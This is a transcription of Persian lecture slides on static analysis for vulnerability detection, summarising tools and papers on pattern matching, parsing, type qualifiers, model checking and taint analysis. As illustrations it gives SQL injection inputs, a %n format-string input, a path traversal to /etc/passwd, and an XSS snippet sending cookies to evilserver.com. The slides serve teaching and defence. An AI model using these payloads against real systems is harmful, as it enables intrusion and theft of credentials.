تحلیل ایستا ارائه دهنده: مطهره دهقان چاچکامی دانشجوی مقطع دکتری- گرایش امنیت اطالعات پاییز 93

Transcription

1 تحلیل ایستا ارائه دهنده: مطهره دهقان چاچکامی دانشجوی مقطع دکتری- گرایش امنیت اطالعات پاییز 93

2 روش های مقابله با آسیب پذیری تحلیل ایستا تحلیل پویا تحلیل ترکیبی روش های نظارتی...

3 تحلیل ایستا بررسی کد برنامه بدون اجرای آن استخراج اطالعات قضاوت درباره آن تحلیل آسیب پذیری ها شناخت یک الگوی خاص مسیر کنترلی معین

4 انطباق الگو )pattern matching( شناسایی مربوطه: ابزار الگوهای کاراکتری در کد Flawfinder تحلیل لغوی Analysis( )Lexical تبدیل کد به مجموعه ای از توکن ها ابزار مربوطه: ITS4 تحلیل ایستا پیمایش و تحلیل درخت نحو انتزاعی ( and Parsing )Abstract Syntax Tree Analysis

5 تحلیل نوع qualifier( )Type تحلیل جریان داده تعیین مقادیر ممکن برای یک متغیر در یک بررسی مدل )Model checking( تحلیل ایستا بررسی تامین مشخصه برنامه توسط مدل آن تحلیل آلودگی analysis( )taint تحلیل مسیر یک داده ورودی در برنامه برنامه

6 Pattern Matching

7 7 تحلیل ایستا- تطبیق الگو جستجوی الگویی از رشته در متن برنامه برای نمونه: هر نوع فراخوانی تابع getc Sprintf استفاده از Strcpy که بعد آن از استفاده شده

8 8 تحلیل ایستا- تطبیق الگو Flawfinder apt-get install flawfinder ITS4

9 9 تحلیل ایستا- تطبیق الگو Flawfinder این ابزار در گزارش نقص های امنیتی برای هرکدام از آن ها سطح امنیتی را نیز مشخص می نماید. ابزار Flawfinder از یک پایگاه داده داخلی که ruleset نامیده می شود استفاده می نماید تا توابعی که بطور معمول موجب نقص های امنیتی می شوند را تشخیص دهد. این ابزار برای تشخیص آسیب پذیری سرریز بافر توابع زیر را در نظر می گیرد: strcpy(), strcat(), gets(), sprintf(), and the scanf() family برای تشخیص آسیب پذیری فرمت رشته نیز توابع زیر را در نظر می گیرد: [v][f]printf(), [v]snprintf(), and syslog()

10 11 تحلیل ایستا- تطبیق الگو

11 12 تحلیل ایستا- تطبیق الگو

12 13 تحلیل ایستا- تطبیق الگو

13 Lexical Analysis

14 تحلیل ایستا - تحلیل لغوی کامپایل برنامه و رودی ب رنامه که به زبان سطح باال نوش تته ش تده اس تت ا ز منب تع د ریا ف تت ش تده و خط تای ا تم تا لی )خطاهای لغوی و نحوی( کشف و رفع می شوند.

15 تحلیل ایستا - تحلیل لغوی اولین فاز از کامپایل برنامه تحلیل لغوی آن است که در آن برنامه ورودی به صورت کاراکتر به کاراکتر دریافت می شود. در این مر له عملیات زیر انجام می شود: الف( تشخیص توکن ها و ارسال آن ها به مر له بعدی)تحلیل نحوی( توکن به هر لغت تشخیص داده شده در تحلیل لغوی گفته می شود. توکن ها شامل موارد زیر هستند: شناسه ها- Identifiers عملگرها- Operators مثل عملگرهای محاسباتی رابطه ای و منطقی کلمات کلیدی- words Key ثابت ها- Constants مثال String, Integer, Double, Char, جداکننده ها- Delimiters

16 تحلیل ایستا - تحلیل لغوی ب( تشخیص و ذف توضیحات) comments ( ج( تشخیص و ذف فضاهای خالی )Spaces( ITS4, نکته 1 : ابزار تحلیل لغوی اسکنر )Scanner(.RATS نامیده می شود همانند

17 تحلیل ایستا - تحلیل لغوی اسکنرها خطاهای زیادی را نمی توانند تشخیص دهند زیرا دیدگاه محلی نستبت بته برنامه دارند به عبارتی برنامه مبدأ را به صورت کاراکتر به کاراکتر می خوانند بعنوان مثال در عبارت زیر اسکنر نمی تواند تشخیص دهد که if بصورت غلط نوشتته شده است )fi( و آن را بعنوان یک شناسه معتبر به پارسر تحویل می دهد و کنترل این قبیل خطاها را به پارسر و مولفه های بعد آن محول می سازد. Fi(x==f(x))

18 تحلیل ایستا - تحلیل لغوی اگر رشته ای از کاراکترها با الگوی هیچیک از توکن ها مطابقت نداشته باشتد در ایتن صورت خطای لغوی رخ می دهد و اسکنر می بایست این قابلیت را داشته باشد که از این خطا و خطاهای دیگر گذر کرده و عمل اسکن و تحلیل لغوی را تتا پایتان فایتل ادامه دهد. وظیفه اسکنر تشخیص توکن ها می باشد و وظیفه اصلی پارسر تشخیص ایتن استت که رشته توکن های تولید شده توسط اسکنر آیا توسط قواعد زبان قابل تولید هستند یا نه.

19 تحلیل ایستا - تحلیل لغوی a := x + y * 2.5 ; a id (identifier) =: assign operation x id (identifier( + add op y id (identifier ( * mul op 2.5 literal (float num( ; semi

20 21 تحلیل ایستا - تحلیل لغوی ابزار ITS4 استفاده از پایگاه داده آسیب پذیری تشخیص سرریز بافر و TOCTOU درنظر نگرفتن دستوری که برنامه نویس آن را آسیب پذیر نمی داند. Strcpy(buf,dst); // ITS4: ignore

21 22 تحلیل ایستا- تحلیل لغوی این ابزار دارای مثبت کاذب فراوان می باشد. بعنوان مثال در زیر نمونه ای از برنامه C فاقد آسیب پذیری سرریز بافر آورده شده است:

22 Parsing and AST Analysis

23 تحلیل ایستا - Analysis Parsing and AST پس از تشخیص توکن ها و ارسال آن به مر له ی تحلیل نحوی در این مر له نحوه کنار هم قرار گرفتن توکن ها مورد بررسی قرار می گیرد. معیار بررسی گرامر مربوط به زبان کامپایلر متی باشتد. بته عبتارت دیگتر در مر لته تحلیل نحوی بررسی می شود رشته های تشخیص داده شده عضو زبان کامپایلر مورد نظر هستند یا خیر. در تحلیل نحوی از درخت تجزیه Tree( )Parse زبان استفاده می شود. بترای تعیتین عضتویت رشتته در

24 تحلیل ایستا - Analysis Parsing and AST نکته 2 : ابزار تحلیل نحوی پارسر نامیده می شود. وظایف پارسر عبارت است از: دریافت دنباله ی توکن ها از اسکنرها بررسی نحوه قرارگیری توکن ها طبق گرامر زبان کامپایلر تولید درخت تجزیه( Tree (Parse و سپس درخت نحو( AST ) تشخیص گزارش و ترسیم خطاهای نحوی به روش های مختلف درج نوع داده ای توکن ها در جدول نمادها ارسال درخت نحو نهایی به مر له بعد )تحلیل گر معنایی(

25 تحلیل ایستا - Analysis Parsing and AST براساس مثال بیان درخت شده تجزیه آن به صورت زیر می باشد. a := x + y * 2.5 ;

26 Parsing and AST Analysis -Zhedong and et. al Zhendong SU, Gary Wasserman: The Essence of Command Injection Attacks in Web Application, Proceeding POPL 06 Conference record of the 33rd ACM SIGPLAN-SIGACT symposium on Principles of programming languages, Pages in

27 Parsing and AST Analysis -Zhedong and et. al This paper presents the first formal definition of command injection attacks in the context of web applications, and gives a sound and complete algorithm for preventing them based on context-free grammars and compiler parsing techniques. Our definition and algorithm are general and apply to many forms of command injection attacks. We use one common kind of such attacks to illustrate the problem, namely the SQL command injection attacks (SQLCIA).

28 Parsing and AST Analysis -Zhedong and et. al An SQLCIA injection attack occurs when a malicious user, through specifically crafted input, causes a web application to generate and send a query that functions differently than the programmer intended. query = "SELECT * FROM accounts WHERE name = " + request.getparameter("name") + AND password= " + request.getparameter("pass") + "; SELECT * FROM accounts WHERE Name = badguy AND password= OR a = a

29 Parsing and AST Analysis -Zhedong and et. al This paper makes the following contributions: A formal definition of a web application, and in that context the first formal definition of an SQLCIA. An algorithm for preventing SQLCIAs, along with proofs of its soundness and completeness.

30 Parsing and AST Analysis -Zhedong and et. al We approach the problem by addressing its cause: we track through the program the substrings from user input and constrain those substrings syntactically. The idea is to block queries in which the input substrings change the syntactic structure of the rest of the query. Such queries are command injection attacks. We track the user s input by using meta-data, displayed as ( and ) to mark the beginning and end of each input string.

31 Parsing and AST Analysis -Zhedong and et. al so that when a query is ready to be sent to the database, it has matching pairs of markers identifying the substrings from input. We call this annotated query an augmented query. we construct an augmented grammar for augmented queries based on the standard grammar for SQL queries. In the augmented grammar, the only productions in which ( and ) occur have the following form: nonterm ::= ( symbol )

32 Parsing and AST Analysis -Zhedong and et. al We use a parser generator to build a parser for the augmented grammar and attempt to parse each augmented query. If the query parses successfully, it meets the syntactic constraints and is legitimate. Otherwise, it fails the syntactic constraints and either is a command injection attack or is meaningless to the interpreter that would receive it.

33 Parsing and AST Analysis -Zhedong and et. al

34 Parsing and AST Analysis -Zhedong and et. al Formal Definition of Web Applications

35 Parsing and AST Analysis Formal Definition of Web Applications 36 A function from n-tuples of input strings to queries strings. h John, 2 i SELECT cardnum FROM ccards WHERE name = John AND cardtype = 2

36 Parsing and AST Analysis Formal Definition of Web Applications In order to motivate our definition of an SQLCIA, we return to the example JSP code. If the user inputs John as his user name and perhaps through a dropdown box selects credit card type 2 (both expected inputs), the generated query will be: SELECT cardnum FROM accounts WHERE uname= John AND cardtype=2 A malicious user may replace the credit card type in the input with 2 OR 1=1 in order to return all stored credit card numbers: SELECT cardnum FROM accounts WHERE uname= John AND cardtype=2 OR 1=1

37 SQLCIAs Informally 38

38 40 Parsing and AST Analysis Formal Definition of Web Applications Definition (SQL Command Injection Attack). Given a web application P and an input vector <i 1,..., i n >, the following SQL query: q = P (i 1,..., i n ) constructed by P is an SQL command injection attack (SQLCIA) if the following conditions hold: The query string q has a valid parse tree T q ; There exists k such that 1 k n and f k (i k ) is a substring in q and is not a valid syntactic form in T q.

39 43 SQLCIAs Formally Query q is a SQLCIA if q has a parse tree T q. For some filter f and some input i: f(i) is a substring in q and is not a VSF in T q.

40 44 Augmented Query Our goal is to track and identify the user input inside the query (in the parse tree). By augmenting the input to ( i k ) we can determine which substrings of the constructed query come from the input. Definition (Augmented Query). A query q a is an augmented query if it was generated from augmented input, i.e., q a = P (( i 1 ),..., ( i n )).

41 45 Augmented Grammar Definition (Augmented Grammar). Given a grammar G = {V, Σ, S, P } and a set U V Σ specifying the valid syntactic forms, an augmented grammar G a has the property that an augmented query q a = P (( i 1 ),..., ( i n )) is in L(G a ) iff: The query q = P (i 1,..., i n ) is in L(G); and For each substring s that separates a pair of matching ) and ( in q a, if all meta-characters are removed from s, s is a valid syntactic form in q s parse tree.

42 SQLCIA Prevention Algorithm (SQLCIA Prevention). Here are steps of our algorithm A to prevent SQLCIAs and in valid queries: 1. Intercept augmented query q a 2. Attempt to parse q a using the parser generated from G a 3. If q a fails to parse, raise an error; 4. Otherwise, if q a parses, strip all occurrences of ( and ) out of q a to produce q and output q.

43 47 Theorem Theorem (Soundness and Completeness). For all <i 1,..., i n > SQLCIA Prevention Algorithm will permit query q = P (i 1,..., i n ) iff q L(G) and q is not an SQLCIA.

44 Type Qualifier

45 49 Type Qualifier U. Shankar, K. Talwar, J. S. Foster, and D. Wagner, Detecting format string vulnerabilities with type qualifiers, in Proceedings of the 10th USENIX Security Symposium, 2001, vol. 10. (cited by: 366)

46 Type Qualifier Format string bugs arise from design misfeatures in the C standard library combined with a problematic implementation of variableargument functions. Consider a typical usage of format strings: printf("%s", buf); (correct) The first argument to printf() is a format string that specifies the number and types of the other arguments. The following innocuouslooking simplification of the above call can be dangerous: printf(buf); (may be incorrect!) buf = <data-from-network> buf = %s%s%s%s%s %n

47 Type Qualifier The main contribution of this paper is to describe a system for automatically detecting format string bugs at compile-time. To find format string bugs, we use a type qualifier system with two qualifiers, tainted and untainted. We mark the types of values that can be controlled by an untrusted adversary with tainted. All other values are given types marked untainted.

48 Type Qualifier Examples of qualified types are int, tainted int, untainted char * (a pointer to an untainted character), and char untainted * (an untainted pointer to a character). The key idea behind our framework is that type qualifiers naturally induce a subtyping relationship on qualified types. The notion of subtyping most commonly appears in object-oriented programming. In Java, for example, if B is a subclass of A (which we will write B < A ), then an object of class B can be used wherever an object of class A is expected.

49 The Basic Idea 53

50 54 Qualifier Subtyping Rule Putting these two examples together, we have the following subtyping relation: untainted int < tainted int This is a natural-deduction style inference rule. In general, an inference rule says that if the statements above the line are true, then the statements below the line are also true.

51 Qualifier Subtyping Rule For pointer types, we need to be a little careful. Naively, we might expect to use the following rule for pointers: Here the type Q1ptr(T1)is a pointer to type T1, and the pointer is qualified with Q1. Note that T1 represents an extended C type, and thus may itself be decorated with tainted/untainted qualifiers.

52 Qualifier Subtyping Rule The rule (Wrong) says that if Q 1 <= Q 2 in the lattice and T 1 is a subtype of T 2, then we can conclude that Q 1 ptr(t 1 )is a subtype of Q 2 ptr(t 2 ). Unfortunately, this turns out to be unsound, as illustrated by the following code fragment: tainted char *t; untainted char *u; t = u; /* Allowed by (Wrong) */ *t = <tainted data>; /* Oops! This writes tainted data into untainted buffer *u */

53 Qualifier Subtyping Rule This is a well-known problem, and the standard solution, which is followed by cqual, is to use the following rule: The key restriction here is that 1= 2. Intuitively, this restriction says that any two objects that may be aliased must be given exactly the same type. 1 In particular, if 1 and 2 are decorated with qualifiers, the qualifiers must themselves match exactly, too.

54 Type Qualifier Our tool is, cqual which the main input to the tool is the preprocessed C code the user wishes to analyze. The user also provides two types of configuration files to customize cqual to the particular checking task. The lattice file describes the type qualifiers the user is interested in. The prelude files contain annotated function declarations that override the declarations in the source being analyzed.

55 Type Qualifier

56 Type Qualifier

57 Data Flow Analysis

58 65 تحلیل ایستا - تحلیل جریان داده تکنیکی به منظور جمع آوری اطالعات درباره مجموعه متغیرها در نقاط مختلف برنامه استفاده از CFG برای بررسی نقاط مختلف برنامه در سطح بلوک پایه استفاده از اطالعات جمع آوری شده توسط کامپایلر برای بهینه سازی برنامه

59 66 تحلیل ایستا - تحلیل جریان داده مجموعه :in شامل اطالعاتی که وارد بلوک پایه می شوند. مجموعه :gen شامل اطالعات تولید شده در بلوک پایه مجموعه :kill شامل اطالعاتی که با توجه به عمل انجام شده در بلوک پایه ذف می شوند. مجموعه :out شامل اطالعاتی که از بلوک پایه خارج می شوند.

60 67 تحلیل ایستا - تحلیل جریان داده out[ S] gen[ S] ( in[ S] kill[ S]) s: دستور s اطالعات وارد شونده به :in[s] s اطالعات ذف شده توسط :kill[s] s اطالعات جدید تولید شده توسط :gen[s] s اطالعات خارج شوند توسط :out[s]

61 68 تحلیل ایستا - تحلیل جریان داده نقطه در بلوک پایه: محل بین دو دستور متوالی محل قبل از اولین دستور در بلوک پایه محل بعد از آخرین دستور در بلوک پایه مسیر: یک مسیر از نقطه p 1 به p n توالیی از نقطه های p 1, p 2, p n می باشد بطوری که برای هر i n 1 داریم: p i+1 p i p i یک نقطه است که قبل از یک دستور و 1+i p یک نقطه بالفاصله بعد از آن دستور است. )در همان بلوک پایه( یا: آخرین نقطه در یک بلوک پایه و اولین نقطه در بلوک پایه مابعد باشد.

62 69 تحلیل ایستا - تحلیل جریان داده p 3 p 4 d 1 : i := m 1 d 2 : j := n d 3 : a := u 1 d 4 : i := i + 1 B 1 B 2 مسیر: p 1, p 2, p 3, p 4, p 5, p 6 p n p 5 p 6 d 5 : j := j - 1 B 3 B 4 p 1 p 2 d 6 : a := u 2 B 5 B 6 p n

63 70 Reaching Definition تعریف یک متغیر x دستوری است که سبب انتساب یک مقدار به متغیر x می گردد. مانند: انتساب های به x خواندن یک مقدار از وسایل I/O و قرار دادن در x

64 71 Reaching Definition یک تعریف d به یک نقطه p می رسد اگر: مسیری از نقطه بالفاصله قبل d به نقطه p وجود داشته باشد و d در طول این مسیر ذف )kill( نشده باشد.

65 72 Example: Reaching Definition d 1 : i := m 1 d 2 : j := n d 3 : a := u 1 B 1 Definition of i (d 1 ) reaches p 1 p 1 p 2 d 4 : i := i + 1 d 5 : j := j - 1 B 2 B 3 B 4 Killed as d 4, does not reach p 2. Definition of i (d 1 ) does not reach B 3, B 4, B 5 and B 6. d 6 : a := u 2 B 5 B 6

66 73 تحلیل ایستا - تحلیل جریان داده H. Kim, T. H. Choi, S. C. Jung, H. C. Kim, O. Lee, and K. G. Doh, Applying Dataflow Analysis to Detecting Software Vulnerability, in Advanced Communication Technology, ICACT th International Conference on, 2008, vol. 1, pp

67 H. Kim et al. Our vulnerability detector consists of three parts: syntactic pattern matcher flow graph constructor flow analyzer روش The detector takes program source code and the set of pattern rules which describes the simple and flow patterns of software vulnerability. The detector first finds program points that match the syntactic patterns appeared in the simple pattern rules. Second, it extracts control flow and data flow of the input code. Finally, it finds program parts that have execution paths which violate the flow pattern rules.

68 76 معماری روش al. H. Kim et

69 روش al. H. Kim et Pattern Matcher The vulnerabilities which can be described as simple patterns in the rules are the calls of dangerous functions, the absence of necessary methods, dangerous class hierarchies, dangerous empty exception handlers, etc. The pattern matcher finds program points that match simple patterns expressed in the language. We formally define the pattern matcher "pm" as follows: pm : Pattern 2 Loc where Pattern is the set of simple patterns and Loc denotes the set of program points. The pattern matcher takes a program and a pattern, and gives the set of program points that match the pattern.

70 روش al. H. Kim et Example: the Java Language Specification suggests that it is a good practice for a finalize () method to call super. finalize () We can express this statement in our language of simple patterns as follows. (reference super (function finalize() )) in Finalize The pattern matcher "pm" first finds the locations of definition of finalize method, and then checks for each location whether its bodies has the invocation of "super.finalize()".

71 روش al. H. Kim et Flow Graph Constructor: In order to find program parts that match a semantic flow-pattern, we first extract the control-flow and the data-flow from input program. Both flows can be considered as graphs whose nodes are program points: E Loc Loc (Loc, E) where edges. We write the control-flow graph as (Loc, E CF ) and the dataflow graph (Loc, E DF ).

72 روش al. H. Kim et Flow Analyzer: Pattern p denotes a simple syntactic pattern mentioned before. Forward arrows ( and =>) are used for forward flows and backward ones for backward flows. Single arrows ( and ) denote that at least one flow from p reaches f, and double arrows denote that every flow from p reaches f. Each arrow has a flow type which denotes that the flow is control flow (CF) or dataflow (DF).

73 روش al. H. Kim et Example: statement "every allocated memory cell must be disposed" can be expressed in our flow pattern as: assign $1 (function malloc($_ )) =>CF function free($1) where $1 and $_ denote holes which match any identifier. Since we use a double arrow, the flow pattern means that every control flow from ma11oc reaches free.

74 Model Checking

75 Model Checking

76 84 Model Checking - Hao Chen and et. al Hao Chen and David Wagner, MOPS: an Infrastructure for Examining Security Properties of Software, Proceedings of the 9 th ACM conference on Computer and Communications Security 2008, Pages

77 Model Checking - Hao Chen and et. al In this paper, we focus on detecting violations of ordering constraints, also known as temporal safety properties. A temporal safety property dictates the order of a sequence of securityrelevant operations. Our experience shows that many rules of good programming practice for security programs can be described by temporal safety properties. Although violating such properties may merely indicate risky features in a program in some cases, it often renders the program vulnerable to attack, depending on the nature of the violation.

78 Model Checking - Hao Chen and et. al To illustrate the relevance of such temporal safety properties, we give next a few examples that reflect prudent programming practice for Unix applications. Property 1. Suppose a process uses the chroot system call to confine its access to a sub filesystem. In this case, the process should immediately call chdir( / ) to change its working directory to the root of the sub filesystem.

79 Model Checking - Hao Chen and et. al

80 Model Checking - Hao Chen and et. al This rule can be described by the temporal safety property that any call to chroot should be immediately followed by a call to chdir( / ). The program in Figure 1(b) violates this property: it fails to call chdir( / ) after chroot( /var/ftp/pub ), so its current directory remains /var/ftp. As a result, a malicious user may ask the program to open the file../../etc/passwd successfully even though this is outside the chroot jail and the programmer probably intended to make it inaccessible.

81 Model Checking - Hao Chen and et. al Property 2. A call to stat(f ) should not be followed immediately by a call to open(f ).

82 Model Checking - Hao Chen and et. al Before explaining this property, we give some background. In Unix systems, each process has an effective user ID (euid ), which determines the file access permission of the process. Consider a privileged process that runs on behalf of a normal user and that wants to constrain itself to access only files owned by the normal user. A naïve implementation involves two steps: (1) call stat( foo ) to identify the owner of the file foo; (2) only open the file if it is owned by the current user.

83 Model Checking - Hao Chen and et. al This strategy, however, is insecure because of a race condition Suppose the filename foo in the variable logfile initially is a symbolic link to a file owned by the attacker. When stat(logfile, &st) is called, the program verifies that the attacker is the owner of the file. But before the program proceeds to open the file by calling open(logfile, O RDWR), the attacker changes foo to be a symbolic link to /etc/passwd, a file that should not be writable to him.

84 Model Checking - Hao Chen and et. al

85 Model Checking - Hao Chen and et. al Property 3. Since a privileged process has full access permission to the system, it should not make certain system calls that run untrusted programs without first dropping all privileges (thereby granting them with full access permission to the system).

86 Model Checking - Hao Chen and et. al The temporal safety properties listed above encode some of these requirements in an explicit form. To reduce the risk of security vulnerabilities we would like to verify that these security properties are all satisfied. Although checking temporal safety properties by hand is feasible in small programs, it does not scale to large programs because the sequence of operations in a property may span multiple functions or files in a program.

87 the path [d0d2d3d4] in the function drop_privilege drops privilege, but the path [d0d1] fails to do so.

88 So the path [m1d0d2d3d4m2m3] satisfies Property 3, but the path [m1d0d1m2m3] violates it.

89 Model Checking - Hao Chen and et. al These types of path-dependent errors are common in programs, but such inter procedural errors are difficult to discover with testing or manual review, especially if the caller and callee are in different source files. As a result, we conclude that automated tools to help with this task are needed.

90 Model Checking - Hao Chen and et. al In this paper, we describe an automated approach to help examine security-related temporal safety properties (abbreviated as security properties henceforth) in software. We have built MOPS, a program analysis tool that allows us to make these properties explicit and to verify whether they are properly respected by the source code of some application.

91 Taint Analysis

92 102 تحلیل ایستا - تحلیل آلودگی در تحلیل آلودگی مقادیر فراهم شده توسط منابع ورودی ناامن آلوده در نظر گرفته می شود و با ردیابی این جریان داده آلوده به تشخیص آسیب پذیری می پردازد. یک تحلیل جریان داده است و می تواند در سطح رشته و یا کاراکترهای آن باشد. سه مورد زیر باید تعیین شوند: چه چیزی آلوده است )مشخص کردن منابع ناامن( هر مقدار مشتق شده از داده آلوده که خود آلوده است. تعیین نقاطی از برنامه که ساس به آسیب پذیری هستند. مانند فره )Sink( در متن برنامه کاربردی وب

93 103 تحلیل آلودگی منابع ناامن فایل ها ( *.html, )*.mp3, *.pdf, پروتکل های شبکه ( DNS, )HTTP, UDP, ورودی ها صفحه کلید ماوس صفحه لمسی وب کم USB

94 104 تحلیل آلودگی Sink دستورهای ساس به آسیب پذیری در برنامه کاربردی: فره )sink( توابعی که موجب ساخت و ارسال query به سوی پایگاه داده می شوند تابع Mysql_query بعنوان فره آسیب پذیری SQL injection mysql_query("select * FROM users WHERE name= $_GET[name] AND pw= $_GET[pw] "); SELECT * FROM users WHERE name= AND pw= OR name= admin توابعی که موجب ارسال خروجی به سوی پایگاه داده می شوند print و echo مانند بعنوان فره آسیب پذیری XSS echo "You searched for ". $_GET[ s ]; = evilserver.com/steal.php? +document. Cookie</script>

95 105 تحلیل آلودگی N. Jovanovic, C. Kruegel, and E. Kirda, Pixy: A Static Analysis Tool for Detecting Web Application Vulnerabilities (Short Paper), in Proceedings of the 2006 IEEE Symposium on Security and Privacy, Washington, DC, USA, 2006, pp (cited by: 255)

96 106 تحلیل آلودگی- ابزار Pixy تحلیل ایستا تحلیل آلودگی در سطح رشته

97 107 تحلیل آلودگی- ابزار Pixy

98 تحلیل ایستا- تحلیل آلودگی در تحلیل آلودگی موارد زیر وجود دارد: در عملگر تساوی درصورتی که متغیر سمت راست تساوی آلوده باشد متغیر سمت چپ نیز آلوده است. اگر یکی از پارامترهای تابع آلوده باشد خروجی آن نیز آلوده است. در برخی از روش ها اگر شرط یک انشعاب آلوده باشد متغیری که در بدنه آن دستور شرطی مقدار می پذیرد نیز آلوده فرض می شود.

99 تحلیل آلودگی- مثال i = get_input(); two = 2; if (i %2 == 0){ j = i+two; l = j; } else { k = two*two; l = k; } jmp l; در کد روبرو تابع get_input() بعنوان منبع ورودی و دستور Jmp l بعنوان دستور ساس به آسیب پذیری ( فره( در نظر گرفته می شود. False k = two*two; l = k; i = get_input(); two = 2; if (i %2 == 0){ True j = i+two; l = j; jmp l;

100 111 تحلیل آلودگی - مثال متغیر وضعیت آلودگی False i = get_input(); two = 2; if (i %2 == 0){ True T F i two k l k = two*two; l = k; j = i+two; l = j; jmp l;

101 112 تحلیل آلودگی - مثال متغیر وضعیت آلودگی False i = get_input(); two = 2; if (i %2 == 0){ True T F F F i two k l k = two*two; l = k; j = i+two; l = j; jmp l;

102 113 تحلیل آلودگی - مثال متغیر وضعیت آلودگی False i = get_input(); two = 2; if (i %2 == 0){ True T F T T i two j l k = two*two; l = k; j = i+two; l = j; jmp l;